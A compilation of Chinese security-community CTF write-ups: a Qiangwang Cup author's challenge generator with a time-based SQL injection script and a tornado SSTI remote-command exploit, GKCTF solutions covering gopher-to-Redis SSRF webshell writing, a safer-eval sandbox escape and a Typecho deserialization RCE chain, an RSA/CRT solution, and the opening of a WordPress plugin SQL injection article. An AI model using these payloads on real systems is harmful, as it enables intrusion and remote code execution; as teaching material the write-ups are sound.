最终exp我放码云上了，这个exp是我拿自己写的一个自动代码审计的小工具改的，可能会有一些冗余的代码，请见谅。（[https://gitee.com/b1ind/pop_master）](https://gitee.com/b1ind/pop_master%EF%BC%89)
以下为生成题目环境的脚本（临时写的脚本，代码不规范，请轻喷）
import random
import sys
import re
import os
sys.setrecursionlimit(1000000)
def get_random_str(randomlength=16):
random_str = ''
base_str1 = 'ABCDEFGHIGKLMNOPQRSTUVWXYZabcdefghigklmnopqrstuvwxyz'
base_str = 'ABCDEFGHIGKLMNOPQRSTUVWXYZabcdefghigklmnopqrstuvwxyz0123456789'
length1 = len(base_str1) - 1
length = len(base_str) - 1
random_str = base_str1[random.randint(0, length1)]
for i in range(randomlength-1):
random_str += base_str[random.randint(0, length)]
return random_str
def nothing_stmts(arg):
stmts = [
"\t\t$this->" + get_random_str(5) + ' = "' +get_random_str(5) + "\";\n",
"\t\tif(" + str(random.randint(0,65535)) + ">" + str(random.randint(0,65535)) + "){\n\t\t\t$" + arg + " = $" + arg + ".'" + get_random_str(5) +"';\n\t\t}\n",
"\t\tfor($i = 0; $i < " +str(random.randint(0,40))+ "; $i ++){\n\t\t\t$a" + get_random_str(5) + "= $" + arg + ";\n\t\t}\n"
]
return random.choice(stmts)
def clean_stmts(arg):
#print(arg)
stmts = [
"\t\tfor($i = 0; $i < " +str(random.randint(0,40))+ "; $i ++){\n\t\t\t$" + arg + "= $" + get_random_str(5) + ";\n\t\t}\n",
"\t\t$" + arg + "='" + get_random_str(5) + "';\n"
]
return random.choice(stmts)
class_list = set()
method_list = dict()
class_method = dict()
i = 0
while 1:
if len(class_list) >= 10000 and len(method_list) >= 20000:
break
class_name = get_random_str(6)
class_list.add(class_name)
method_1 = get_random_str(6)
method_2 = get_random_str(6)
method_list[method_1] = class_name
method_list[method_2] = class_name
class_method[class_name] = [method_1, method_2]
func_map = dict()
method_list_keys = list(method_list.keys())
array = []
array2 = []
key = random.sample(method_list_keys, 1)[0]
method_list_keys.remove(key)
array.append(key)
start_func = key
for i in range(9990):
func = array.pop(0)
key1 = random.sample(method_list_keys, 1)[0]
method_list_keys.remove(key1)
if random.randint(0,1):
key2 = random.sample(method_list_keys, 1)[0]
method_list_keys.remove(key2)
func_map[func] = [key1,key2]
array.append(key1)
array.append(key2)
else:
func_map[func] = [key1]
array.append(key1)
muban = """
class {class_name}{{
public ${var_name};
public function {func_name1}(${random1}){{
{func_name1}_other{func_name1_call1}{func_name1_call2}
}}
public function {func_name2}(${random2}){{
{func_name2}_other{func_name2_call1}{func_name2_call2}
}}
}}
"""
strs = dict()
method_args = dict()
class_var = dict()
for i in class_method.keys():
methods = class_method[i]
class_name = i
var_name = get_random_str(7)
class_var[class_name] = var_name
random1 = get_random_str(5)
random2 = get_random_str(5)
func_name1 = methods[0]
func_name2 = methods[1]
temp_flag = 0 #用来临时标记，删除_other语句使用
if not func_map.get(func_name1):
func_name1_call1 = "\t\teval($" + random1 + ");\n"
func_name1_call2 = ""
temp_flag += 1
elif len(func_map.get(func_name1)) == 1:
func_name1_call1 = "\t\t$this->" + var_name + "->" + func_map[func_name1][0] + "($" + random1 +");\n"
func_name1_call2 = ""
elif len(func_map.get(func_name1)) == 2:
func_name1_call1 = "\t\tif(method_exists($this->" + var_name + ", '" + func_map[func_name1][0] + "')) $this->" + var_name + "->" + func_map[func_name1][0] + "($" + random1 +");\n"
func_name1_call2 = "\t\tif(method_exists($this->" + var_name + ", '" + func_map[func_name1][1] + "')) $this->" + var_name + "->" + func_map[func_name1][1] + "($" + random1 +");\n"
else:
func_name1_call1 = "\t\teval($" + random1 + ");\n"
func_name1_call2 = ""
temp_flag += 1
if not func_map.get(func_name2):
func_name2_call1 = "\t\teval($" + random2 + ");\n"
func_name2_call2 = ""
temp_flag += 2
elif len(func_map.get(func_name2)) == 1:
func_name2_call1 = "\t\t$this->" + var_name + "->" + func_map[func_name2][0] + "($" + random2 +");\n"
func_name2_call2 = ""
elif len(func_map.get(func_name2)) == 2:
func_name2_call1 = "\t\tif(method_exists($this->" + var_name + ", '" + func_map[func_name2][0] + "')) $this->" + var_name + "->" + func_map[func_name2][0] + "($" + random2 +");\n"
func_name2_call2 = "\t\tif(method_exists($this->" + var_name + ", '" + func_map[func_name2][1] + "')) $this->" + var_name + "->" + func_map[func_name2][1] + "($" + random2 +");\n"
else:
func_name1_call1 = "\t\teval($" + random1 + ");\n"
func_name1_call2 = ""
temp_flag += 2
muban2 = muban.format(class_name=class_name, var_name=var_name, random1=random1, random2=random2, func_name1=func_name1, func_name2=func_name2, func_name1_call1=func_name1_call1, func_name1_call2=func_name1_call2, func_name2_call1=func_name2_call1, func_name2_call2=func_name2_call2)
"""
if temp_flag == 1:
muban2 = muban2.replace(func_name1 + "_other", "")
elif temp_flag == 2:
muban2 = muban2.replace(func_name2 + "_other", "")
elif temp_flag == 3:
muban2 = muban2.replace(func_name1 + "_other", "").replace(func_name2 + "_other", "")
"""
strs[class_name] = muban2
method_args[func_name1] = random1
method_args[func_name2] = random2
flag = 0
flag2 = 0 #用来留后门
flag3 = 0
i = 0
result_list = []
result_list2 = []
def dfs(method):
global func_map, flag, strs, method_list, flag2, flag3, i, result_list, result_list2
i += 1
result_list.append(method)
class_name = method_list[method]
if i >= 1000 and flag3 == 0 and flag == 0:
flag2 = 1
flag3 = 1
if not func_map.get(method):
if flag2 == 1:
strs[class_name] = strs[class_name].replace(method + "_other", nothing_stmts(method_args[method]))
result_list2 = result_list.copy()
flag2 = 0
elif flag == 0:
strs[class_name] = strs[class_name].replace(method + "_other", clean_stmts(method_args[method]))
else :
strs[class_name] = strs[class_name].replace(method + "_other", nothing_stmts(method_args[method]))
#print(i)
result_list.pop()
return
if len(func_map[method]) == 1:
if flag2 == 1:
strs[class_name] = strs[class_name].replace(method + "_other", nothing_stmts(method_args[method]))
dfs(func_map[method][0])
elif flag == 1:
strs[class_name] = strs[class_name].replace(method + "_other", nothing_stmts(method_args[method]))
dfs(func_map[method][0])
else:
if random.randint(0, 15) == 14 and i > 40:
flag = 1
strs[class_name] = strs[class_name].replace(method + "_other", clean_stmts(method_args[method]))
dfs(func_map[method][0])
flag = 0
else:
strs[class_name] = strs[class_name].replace(method + "_other", nothing_stmts(method_args[method]))
dfs(func_map[method][0])
elif len(func_map[method]) == 2:
if flag2 == 1:
strs[class_name] = strs[class_name].replace(method + "_other", nothing_stmts(method_args[method]))
dfs(func_map[method][0])
dfs(func_map[method][1])
elif flag == 1:
strs[class_name] = strs[class_name].replace(method + "_other", nothing_stmts(method_args[method]))
dfs(func_map[method][0])
dfs(func_map[method][1])
else:
if random.randint(0, 15) == 14 and i > 40:
flag = 1
strs[class_name] = strs[class_name].replace(method + "_other", clean_stmts(method_args[method]))
dfs(func_map[method][0])
dfs(func_map[method][1])
flag = 0
else:
strs[class_name] = strs[class_name].replace(method + "_other", nothing_stmts(method_args[method]))
dfs(func_map[method][0])
dfs(func_map[method][1])
result_list.pop()
dfs(start_func)
with open(r"/root/class.php" ,"w+") as f:
f.write("<?php\n")
for class_name in strs.keys():
string = strs[class_name]
if "_other" in string:
string = re.sub(".{6}_other", "", string)
f.write(string + "\n")
pop = "*****"
for func in result_list2:
pop = pop.replace("*****", 'O:6:"' + method_list[func] + '":1:{s:7:"' + class_var[method_list[func]] + '";*****}')
pop = pop.replace("*****", "N;")
index_muban = """
<?php
include "class.php";
//class.php.txt
highlight_file(__FILE__);
$a = $_GET['pop'];
$b = $_GET['argv'];
$class = unserialize($a);
$class->{start_func}($b);
"""
index_content = index_muban.format(start_func=start_func)
with open(r"/root/index.php" ,"w+") as f:
f.write(index_content)
with open("/root/pop", "w") as f:
f.write(pop)
## 陀那多
这个题目只有两个队伍解出来了，可能和放题时间有关吧，其实题目挺简单的。本题主要考察的是SQL注入与tornado框架的SSTI利用，我印象中CTF竞赛里考察tornado的SSTI的题目只有2018年护网杯的easy_tornado赛题，而且该赛题还只考察了一个cookie_secret的获取，于是我研究了一下tornado的源码，探索了一下tornado的SSTI的利用的姿势。
#### tornado的SSTI利用
tornado框架的支持的SSTI标签有三种：
{{xxx}}
{%xxx%}
{#xxx#}
其中`{##}`是注释用的，里面的语句不会被执行，而`{{}}`与`{%%}`则可以被用来执行命令。
首先是`{{}}`，这个标签可以说是非常危险，因为它里面可以执行任意的python函数，比如eval函数`{{eval("xxx")}}`。
那这就很危险了，毕竟各位师傅的Python命令执行黑魔法一大堆，通过黑名单进行字符过滤是阻挡不了被命令执行的。除了python中的内置函数可以被调用外，还有一些tornado自带的原生类也可以被用来命令执行，可以使用{{globals()}}来查看所有可用的全局变量，如下图所示。
具体有哪些全局变量可以用，哪些变量可以被用来执行命令，各位大佬可以研究研究，我就不列举了。本题中`{{`符号是被过滤的，因此本题考点不在`{{}}`上。
`{%%}`是`tornado`的另一个标签，它里面的语句受到限制，格式为`{%操作名
参数%}`，操作名在`tornado`的源码中进行了规定，具体源码在`tornado`库中的`template.py`中，以下为从源码中总结出来的所有操作名。
apply、autoescape、block、comment、extends、for、from、if、import、include、module、raw、set、try、while、whitespace
具体操作的意义请自行阅读源码，本文不再赘述，唯独介绍一下`raw` 操作，该操作可以执行原生的python代码。
懂我意思吧.jpg，各种python黑魔法走起。（不过可惜，本题考点不在这里）
#### 预期解题过程
##### SQL注入进后台
本题第一个关为SQL注入，SQL注入点在注册处，可以直接单引号闭合，过滤也非常少，但是表名和列名难以获取，本题采用的考点为利用`processlist`表读取正在执行的sql语句，从而得到表名与列名。exp为如下：
def sql_exp(url):
payload = ""
try:
for i in range(1,60):
for j in string:
payload1 = url+"/register.php?password=1&username=admin'%0dand%0dif(mid((select%0dInfo%0dfrom%0dinformation_schema.processlist%0dlimit%0d0,1)," + str(i) + ',1)%0din%0d(\'' + j + '\'),!sleep(3),1)%0dand%0d\'1'
payload2 = url+"/register.php?password=1&username=admin'%0dand%0dif(mid((select%0dqwbqwbqwbpass%0dfrom%0dqwbtttaaab111e%0dlimit%0d0,1)," + str(i) + ',1)%0din%0d(\'' + j + '\'),!sleep(3),1)%0dand%0d\'1'
time1 = time.time()
res = requests.get(payload1,headers=headers)
time2 = time.time()
if 'error' in res.text:
print(1)
#print(time2-time1)
#print(res.text)
intval1 = (time2 - time1)
if intval1 > 3:
payload += j
print(payload)
continue
except Exception as e:
return False
return True
##### 任意文件读取+pyc恢复代码
任意文件读用的是老掉牙的`os.path.join`考点，原理不赘述了，看我偶像ph牛的博客吧（[https://www.leavesongs.com/PENETRATION/arbitrary-files-read-via-static-requests.html）](https://www.leavesongs.com/PENETRATION/arbitrary-files-read-via-static-requests.html%EF%BC%89)
这里过滤了.py结尾的文件名，在任意文件读取后，有几个关键文件是需要读到的。
1、/proc/self/cmdline 这个文件可以看到我们的python应用运行的文件夹
2、/proc/self/environ，这个文件可以让我们看到一些重要的属性，比如本WEB服务的权限为mysql用户权限。
3、pyc文件，本来想让选手自己通过读取pyc文件，然后还原python代码的，但是为了减少选手不必要的工作量，我早早就放了hint，pyc文件是有一定的命名规则的，既然我们得知了app.py的目录，我们就可以去该目录寻找pyc文件。pyc的命名规则为`__pycache__/文件名.cpython-2位版本号.pyc`，这里文件名为app，版本号需要爆破一下，其实如果你留心的话，本服务器在http返回头中返回了tornado版本号（tornado默认返回的）为`Server:
TornadoServer/6.0.3`，而该版本的tornado只支持python3.5及其以上版本，因此这里只需要随便猜几次就猜到python版本号了。最终payload为：
`/qwbimage.php?qwb_image_name=/qwb/app/__pycache__/app.cpython-35.pyc`
4、pyc文件恢复源码，这个比较简单，就不赘述了，使用`uncompyle6`工具即可
##### tornado的SSTI利用与SQL注入结合
得到源码后，发现SSTI过滤了很多东西，其中最致命的就是过滤了`{{}}`标签，那么我们可用的只有`{%%}`标签，而且`{%%}`中的危险操作名已经被我过滤得差不多了，而剩下的操作名中，有一个操作是比较危险的，那就是extends操作，它的参数为一个文件名，该文件将会被作为模板文件被包含，并被
**渲染**
。那么如果我们包含一个带有恶意SSTI的payload的字符串的文件，那么是可以执行该SSTI的payload的。因此我们现在需要往服务器上上传一个恶意文件。
如何往服务器上上传文件呢？根据前文信息，我们可以得知该python应用为mysql用户权限启动，那么我们可以直接考虑通过mysql的into
outfile语句写文件。这里分为两步，首先是往数据库里写东西，这个可以直接通过注册功能实现，第二步是将数据库里的数据导出至文件，在mysql中默认导出目录为`/var/lib/mysql-files/`，其他目录是没有导出权限的，因此我们将文件导出至该文件夹。
然后通过{%extends /var/lib/mysql-files/xxx%}来包含模板文件，从而执行任意ssti的payload，最终payload如下：
def get_shell(url):
file_name = random_str(6)
register_payload = url+"/register.php?password=1&username=%7b%7b__import__(bytes.fromhex(str(hex(28531))[2:]).decode()).popen(bytes.fromhex(str(hex(159698592644438093083295786740770931105195540868394758120956263))[2:]).decode()).read()%7d%7d"
requests.get(register_payload)
upload_file_payload = url+"/register.php?password=1&username=1' or 1 into outfile '/var/lib/mysql-files/" + file_name
requests.get(upload_file_payload)
s = requests.session()
s.get(url+"/login.php?username=admin&password=we111c000me_to_qwb")
res = s.get(url+"/good_job_my_ctfer.php?congratulations={%25extends /var/lib/mysql-files/" + file_name + "%25}")
print(res.text)
以上为两道强网杯赛题的出题思路与预期解法，对于pop_master赛题的出题失误，给各位师傅带来了不好的竞赛体验，在这里先抱歉了。强网杯过去一直以PWN手之间的较量为主导，我们今年大胆尝试加入大量WEB题，旨在为各位WEB选手带来更好的体验，但是目前来看效果一般，后续我们会继续努力，为各位选手营造更好的竞赛氛围，请大家相信强网杯。
最后也欢迎各位师傅来一起研究自动化代码审计以及tornado SSTI的各种姿势。 | 社区文章 |
# GKCTF EZWEB的分析题解和思考
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## GKCTF EZ三剑客-EzWeb
看到这个题前端和我自己出的一个题实在是很像，同样是输入一个url，先看题目长啥样吧。
嗯，啥也没有，输入url基本没反应，`F12`给的提示是`?secret`，输入后发现：
这就很敏感了，相当于一个
ifconfig
的命令，这个时候应该是SSRF打内网，看内网的存活主机有多少，直接burp抓个包爆破一下有新发现：
这个IP的其他端口有问题？不多说，nmap一把梭看看有哪些常见==问题端口==
很骚的一个点就是nmap如果不强调`-p-`参数`或者指定端口貌似不会扫`6379` 端口的，也就是`redis`
端口，而这个无疑是问题端口中的问题端口，因此可以指定扫`6379端口`：
下面其实就很明了了，redis未授权访问嘛，但是是内网啊，你咋访问？结合url，其实就知道是通过gopher协议来动手脚，gopher打Mysql和redis网上很多分析文章，这里简单说一下原理。
## gopher攻击redis原理
先得从==RESP==协议开始
Redis服务器与客户端通过RESP（REdis Serialization Protocol）协议通信。
**RESP协议** 是在`Redis 1.2`中引入的，但它成为了与Redis
2.0中的Redis服务器通信的标准方式。这是您应该在Redis客户端中实现的协议。
RESP实际上是一个支持以下数据类型的序列化协议：简单字符串，错误，整数，批量字符串和数组。
RESP在Redis中用作请求 – 响应协议的方式如下：
> 客户端将命令作为Bulk Strings的RESP数组发送到Redis服务器。
> 服务器根据命令实现回复一种RESP类型。
>
> 在RESP中，某些数据的类型取决于第一个字节：
> 对于Simple Strings，回复的第一个字节是+
> 对于error，回复的第一个字节是-
> 对于Integer，回复的第一个字节是:
> 对于Bulk Strings，回复的第一个字节是$
> 对于array，回复的第一个字节是*
此外，RESP能够使用稍后指定的Bulk Strings或Array的特殊变体来表示Null值。
在RESP中，协议的不同部分始终以”rn”(CRLF)结束。
用tcpdump抓包分析一下，`redis`客户端执行以下命令：
set name test
>OK
get name
>"test"
客户端向将命令作为`Bulk String`的RESP数组发送到Redis服务器，然后服务器根据命令实现回复给客户端一种RESP类型。
我们就拿上面的数据包分析，首先是`*3`，代表数组的长度为3（可以简单理解为用空格为分隔符将命令分割为`([“set”,”name”,”test”]）；`
`$4`代表字符串的长度，`0d0a`即rn表示结束符；`+OK`表示服务端执行成功后返回的字符串
那么攻击的原理也就是利用`gopher`来生成一个符合`redis
RESP协议`的payload，这里推荐使用`Gopherus`这款工具，可以直接构造mysql、redis等gopher的payload。
python Gopherus.py --exploit --redis #指定是redis
直接把payload放到之前的url框中，然后在访问shell.php
> 注意：ip应为内网存在redis服务的ip,而并非现在这个开放80端口的机子ip，访问的时候也是访问前者的ip/shell.php文件
然后直接在构造一个`echo system("cat /flag")`写入指定php中即可
然后访问存在redis主机的ip/shell.php：
## GKCTF EZ三剑客-Eznode
看到这个题发现是一个Nodejs写的，并且使用的是express框架，题目给了源码，这里贴一下(省略了无关紧要的路由部分，加上了代码注释)：
const express = require('express'); //用的是express框架
const bodyParser = require('body-parser');
const saferEval = require('safer-eval'); // 2019.7/WORKER1 找到一个很棒的库
const fs = require('fs');
const app = express();
app.use(bodyParser.urlencoded({ extended: false }));
app.use(bodyParser.json());
// 2020.1/WORKER2 老板说为了后期方便优化
app.use((req, res, next) => { //在/eval路由中，设置了delay默认是60000
if (req.path === '/eval') {
let delay = 60 * 1000;
console.log(delay);
if (Number.isInteger(parseInt(req.query.delay))) {
//将get请求的delay返回整数后判断是否为整数
delay = Math.max(delay, parseInt(req.query.delay));
//选取默认的delay值和传参的delay值的最大值
}
const t = setTimeout(() => next(), delay);
// 2020.1/WORKER3 老板说让我优化一下速度，我就直接这样写了，其他人写了啥关我p事
setTimeout(() => {
clearTimeout(t);
console.log('timeout');
try {
res.send('Timeout!');
} catch (e) {
}
}, 1000);
} else {
next();
}
});
app.post('/eval', function (req, res) {
let response = '';
if (req.body.e) {
try {
response = saferEval(req.body.e);
} catch (e) {
response = 'Wrong Wrong Wrong!!!!';
}
}
res.send(String(response));
});
`const saferEval = require('safer-eval')`nodejs的题在ha1cyon出现了几次，一般涉及到nodejs的题就是沙箱逃逸，而导致能够沙箱逃逸的，通常都是库的问题，题目有特地强调了这个`safer-eval`的库，直接去 **github** 找 **issues**
人证物证时间证都在，应该就是这个点了，花点功夫看下逻辑是啥，这里直接把代码内容放在注释中。最关键的点仔细谈一谈：
## setTimeout的分析
> setTimeout，第一个参数为回调函数，第二个参数表示从当前时刻开始过多少毫秒后开始执行回调函数
setTimeout(() => {handler }, time); //在{handler}中执行你的方法，time是过多久执行
我们举个例子
(function test() {
var timer = setTimeout(function (name) {
console.log('hello', name)
}, 3000, 'Micheal')
});
// 如果设定了clearTimeout，将不再执行setTimeout中的回调函数，参数值为setTimeout函数返回的定时器对象
(function test() {
var timer = setTimeout(function (name) {
console.log('hello', name)
}, 3000, 'Micheal')
clearTimeout(timer) //在3秒之内已经执行了clear，因此不会调用回调函数
});
所以我们结合来看
setTimeout(() => {
clearTimeout(t);
console.log('timeout');
try {
res.send('Timeout!');
} catch (e) {
}
}, 1000);
} else {
next();
}
});
进入`eval`需要至少6秒，而在1秒内便会`clearTimeout(t)`使得无法进入下一个eval路由,我们如果能进入调用`eval`的方法，那么通过`req.body.e`结合沙箱溢出便能RCE。
当我们传入的delay大于该值时，delay会变为1，那么就是说在1毫秒时调用回调函数，快于1秒时进行clearTimeout(t)，因此再结合沙箱溢出的`payload`可以成功进行RCE。
## EZ三剑客-EzTypecho
这个题已经出现过加强版的了，在MRCTF里出现过typecho反序列化利用PHP原生类Soapclient打SSRF的题，这里对比了一下原始版本的typecho反序列化漏洞，发现构造的payoad几乎一眼，这里就跟着链子走一路：
当设置了`session`后，会对`Typecho_Cookie::get('__typecho_config')`base64解码后反序列化，先回溯一下：
可以看到这一段是可控的，得到`$config`后便其传入`Typecho_Db`中，跟进看看
发现是将这个参数当成字符串拼接了，那么如果这个`$config['adapter']`是一个其他类，并且该类有`toString`方法，就可以触发魔术方法，全局搜索一下：
在Typecho_Feed类中找到标记的语句，还有出题人的提示QAQ,这里调用了`$item['author']->screenName`，如果该类是一个不能存在screenName属性的类的话，那么这里就会调用这个类的`__get()魔术方法`，在
**Request.php** 中发现了这么一个魔术方法，
这里的 **$key** 就是`"screenName"`,继续跟进`get()`方法
`$value`可控，直接跟进到这个方法：
链子到这里基本结束了，这里调用了`call_user_func`，而两个参数都是我们可控的，所以直接就能够RCE。
贴下exp：
<?php
$cmd = 'system("ls")';
class Typecho_Feed
{
const RSS2 = 'RSS 2.0';
const ATOM1 = 'ATOM 1.0';
private $_type;
private $_items;
public function __construct() {
//$this->_type = $this::RSS2;
$this->_type = $this::ATOM1;
$this->_items[0] = array(
'category' => array(new Typecho_Request()),
'author' => new Typecho_Request(),
);
}
}
class Typecho_Request
{
private $_params = array();
private $_filter = array();
public function __construct() {
$this->_params['screenName'] = $GLOBALS[cmd];
$this->_filter[0] = 'assert';
}
}
$exp = array(
'adapter' => new Typecho_Feed(),
'prefix' => 'typecho_'
);
echo base64_encode(serialize($exp));
?>
生成payload之后再来触发反序列化条件，但是这个题并没有看到`session_start()`，貌似只能找找其他触发点了：
finish参数由于没有session已经被阻挡了
如果有`start`参数，并且Referer设置为本站时，可以触发反序列化操作，进行RCE
## 总结
总的来说，做的这三个EZ题目难度没有特别大，但是出的质量也还挺好的，也是强化了一些思维，比如针对 **url想到CRLF或者SSRF探测内网**
，nodejs题目多往沙箱逃逸方向思考，善于利用Github等等，总而言之，对自己而言收获还是很大的 | 社区文章 |
# 当中国剩余定理邂逅RSA
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
实在不知道起什么标题，于是滑稽了一波。写这篇文章的起源是2018高校网络信息安全管理运维挑战赛的一道RSA题目，借此机会，将中国剩余定理与RSA的结合研究一下。
## 题目描述
拿到题目很简短
## 身陷囹圄
发现
assert gcd(e1,(p1-1)*(q1-1))==14
assert gcd(e2,(p2-1)*(q2-1))==14
那么本能想到公约数的问题，于是尝试
gcd(n1,n2)
发现有公约数
12120327527644543811107783655014863098833219936714394976342507913322405566177432644931575840816861543106701611662013978324877080018872656490603706071067111
那么可以分解出p和q1,q2
p = gcd(n1,n2)
q1 = n1/p
q2 = n2/p
得到结果
p=12120327527644543811107783655014863098833219936714394976342507913322405566177432644931575840816861543106701611662013978324877080018872656490603706071067111
q1=12037827528067911684278967221392433256129944002157200272548317200308481572950474775891360447285969682243206009995242277136633522897723532096467191105943909
q2=12301580698247665838432962460247894405698817646605188562297985838079356879336309758823376086396761749681729993573203954506346863479448531269351981555913253
到目前为止一直很开心，因为成功的分解了p和q
那么是不是直接求逆元，得到私钥，就结束了呢？
我开心的运行
print gmpy2.invert(e,phi)
直到报错，我才想起来
gcd(e,phi)=14
所以直接求逆元肯定是不行的
第一时间想到的是Rabin Attack，但是那是e=2的时候，所以此时陷入困境
## 公式代换
后来想到等式代换
我们知道b=14，此时a和phi(n)互素
那么可以求a和phi的逆元得到bd
gmpy2.invert(a,phi)
于是可以
pow(c,bd,n)
得到m^14 mod n1的值，于是同理：
n1得到一组m^14 mod n1的值
n2得到一组m^14 mod n2的值
可以得到以下方程组：
如果这里不是m^14，是m^2或者m^3
那么完全可以尝试爆破得到m
因为m^2不会太大，所以
那么完全可以使用低指数的思想去破解
然而这里是m^14，并不是啥低指数了。
## 中国剩余定理
虽然题目走的绝，但是他给了2组等式，那么这样的等式，仅仅为了让我们利用公约数分解p,q这么简单吗？答案显然是否定的
这里我们可以尝试中国剩余定理
二者联立，可以求出m的特值，但是这里的m值并不是真的flag的明文
因为m^14足够大，这里仅仅是个模数，可以理解为
flag=m+k*n1
依旧需要爆破k，如果flag的长度比较短，例如
flag={this_is_flag}
那么很快可以爆破出来，但是事实上，题目的格式都是
EIS{MD5(…..)}
估计一时半会儿出不来了
## 灵感乍现
在非常难受的情况下，学长给了我一些点播，我们刚才的做法，完全是对中国剩余定理使用的浪费，我们可以根据中国剩余定理得到如下3个式子
即模数分解，这样依旧可以计算出特解m
1157918953656051452784355699923609238578087085530356730257378716186056416448726997740518977363905297393271755641099448971883212306481009956454341821281132105675527179275608942496622728690548474209986204730278844220750782548612807173412632486533313585094360198798935868257031751209954691446183447044165077233401610378901936945171131038402147803394967428713339276583596523854139656861116867477243532939513114104962464919267716378905965731491698192883615068033313579
之前我们到这里为止，开始了爆破，无果而终。
那之前为什么我们不把现在这个局面当做
这样一个问题去解决呢？
这里的c我们已经求得，n1也是已知的，并且可以被分解，公钥e=14
因为这样无济于事，e依旧和phi(n1)有公约数。
那有没有办法换个模数呢，让phi与e互素
这里就是这道题的有趣之处:
我们可以将后2个式子合并
（注：为什么可以合并呢？）
我们可以这样理解
两边同时模q1q2，即可得到合并后结果
所以我们现在有等式
我们可以把他当做一个新的RSA题目：
密文等于中国剩余定理求出的m特解
公钥等于14
模数已经分解为q1和q2
## 水到渠成
那么这样一看，就是一个非常简单的RSA题目了
c=1157918953656051452784355699923609238578087085530356730257378716186056416448726997740518977363905297393271755641099448971883212306481009956454341821281132105675527179275608942496622728690548474209986204730278844220750782548612807173412632486533313585094360198798935868257031751209954691446183447044165077233401610378901936945171131038402147803394967428713339276583596523854139656861116867477243532939513114104962464919267716378905965731491698192883615068033313579
q1=12037827528067911684278967221392433256129944002157200272548317200308481572950474775891360447285969682243206009995242277136633522897723532096467191105943909
q2=12301580698247665838432962460247894405698817646605188562297985838079356879336309758823376086396761749681729993573203954506346863479448531269351981555913253
e=14
当我们兴致勃勃去求逆元私钥d时，又发现
这里的e和phi又不是互素的，有公约数2，乍一看非常头疼
实际上，这里的公约数2和14比实在太小了，所以我们可以直接破解：
按照之前的思路
2d可以通过7的逆元求得，由于2次方太小，所以直接对m开方即可
完整脚本如下
n1=0xcfc59d54b4b2e9ab1b5d90920ae88f430d39fee60d18dddbc623d15aae645e4e50db1c07a02d472b2eebb075a547618e1154a15b1657fbf66ed7e714d23ac70bdfba4c809bbb1e27687163cb09258a07ab2533568192e29a3b8e31a5de886050b28b3ed58e81952487714dd7ae012708db30eaf007620cdeb34f150836a4b723L
e1=0xfae3aL
c1=0x81523a330fb15125b6184e4461dadac7601340960840c5213b67a788c84aecfcdc3caf0bf3e27e4c95bb3c154db7055376981972b1565c22c100c47f3fa1dd2994e56090067b4e66f1c3905f9f780145cdf8d0fea88a45bae5113da37c8879c9cdb8ee9a55892bac3bae11fbbabcba0626163d0e2e12c04d99f4eeba5071cbeaL
n2=0xd45304b186dc82e40bd387afc831c32a4c7ba514a64ae051b62f483f27951065a6a04a030d285bdc1cb457b24c2f8701f574094d46d8de37b5a6d55356d1d368b89e16fa71b6603bd037c7f329a3096ce903937bb0c4f112a678c88fd5d84016f745b8281aea8fd5bcc28b68c293e4ef4a62a62e478a8b6cd46f3da73fa34c63L
e2=0x1f9eaeL
c2=0x4d7ceaadf5e662ab2e0149a8d18a4777b4cd4a7712ab825cf913206c325e6abb88954ebc37b2bda19aed16c5938ac43f43966e96a86913129e38c853ecd4ebc89e806f823ffb802e3ddef0ac6c5ba078d3983393a91cd7a1b59660d47d2045c03ff529c341f3ed994235a68c57f8195f75d61fc8cac37e936d9a6b75c4bd2347L
from libnum import *
import gmpy2
p=gcd(n1,n2)
q1=n1/p
q2=n2/p
assert(p*q1==n1)
assert(p*q2==n2)
f1=(p-1)*(q1-1)
f2=(p-1)*(q2-1)
tmp=gcd(e1,e2)
e1=e1/tmp
e2=e2/tmp
d1=invmod(e1,f1)
d2=invmod(e2,f2)
m1=pow(c1,d1,n1)
m2=pow(c2,d2,n2)
m3=m1%p
m2=m2%q2
m1=m1%q1
m=solve_crt([m1,m2,m3], [q1,q2,p])
print m
n=q1*q2
f=(q1-1)*(q2-1)
m=m%n
d=invmod(7,f)
m=pow(m,d,n)
print n2s(gmpy2.iroot(m, 2)[0])
## 后记
当我们的公钥与phi不互素时，不仅有Rabin Attack解法了，这道题对中国剩余定理的灵活运用非常有趣XD | 社区文章 |
## 前言
2019年7月，FortiGuard
Labs在九个不同WordPress插件中发现并报告了九个SQL注入漏洞，这些流行插件使用广泛，包括了广告，捐赠，图库，表格，新闻和视频播放。
成千上万的WordPress网站正在使用这些插件，其中有些站点非常有名。
所有被发现的漏洞都分配了CVE，同时也具有FortiGuard Labs编号，它们分别是：[FG-VD-19-092](https://fortiguard.com/zeroday/FG-VD-19-092), [FG-VD-19-094](https://fortiguard.com/zeroday/FG-VD-19-094), [FG-VD-19-095](https://fortiguard.com/zeroday/FG-VD-19-095), [FG-VD-19-096](https://fortiguard.com/zeroday/FG-VD-19-096), [FG-VD-19-097](https://fortiguard.com/zeroday/FG-VD-19-097), [FG-VD-19-098](https://fortiguard.com/zeroday/FG-VD-19-098), [FG-VD-19-099](https://fortiguard.com/zeroday/FG-VD-19-099), [FG-VD-19-101](https://fortiguard.com/zeroday/FG-VD-19-101)和 [FG-VD-19-102](https://fortiguard.com/zeroday/FG-VD-19-102)。
有趣的是，9个漏洞中有8个都使用相同的代码模式，因此容易受到SQL注入攻击。 尽管非常可能被利用，但开发人员大多没有仔细过滤用户输入。
在这种情况下，虽然WordPress Core提供了各种内置方法，以确保用户的输入都经过清理，但也无济于事。
在这篇文章我们将介绍一组WordPress安全机制，分析一部分漏洞，并演示攻击者利用的方式，并且以开发者角度介绍如何防范。
撰写本文时，所述漏洞都由已供应商修复。
## 相关背景
当用户输入会被用于构造SQL语句，且没有被正确清理，则会发生SQL注入。 例如下面这段代码：
粗略一看，上述代码容易遭到SQL注入影响，因为程序将从`$_GET`中接受`$id`，然后直接传入到SQL查询语句中，其间没有任何清理。但情况不是这样，在最新版本的WordPress中，
**$_POST/$_GET/$_REQUEST/$_COOKIE** 中的值会经过magic quotes（魔术引号）
处理[[1]](https://codex.wordpress.org/Function_Reference/stripslashes_deep)。这一点可以帮助WordPress保持一致并且提供良好的安全性能。因此，上述代码不会受到SQL注入影响。
WordPress除了强制向输入内容添加斜杠外，它还提供了几个内置的过滤函数，用于清理用户输入和保护内容输出[[2]](https://codex.wordpress.org/Validating_Sanitizing_and_Escaping_User_Data)。例如，
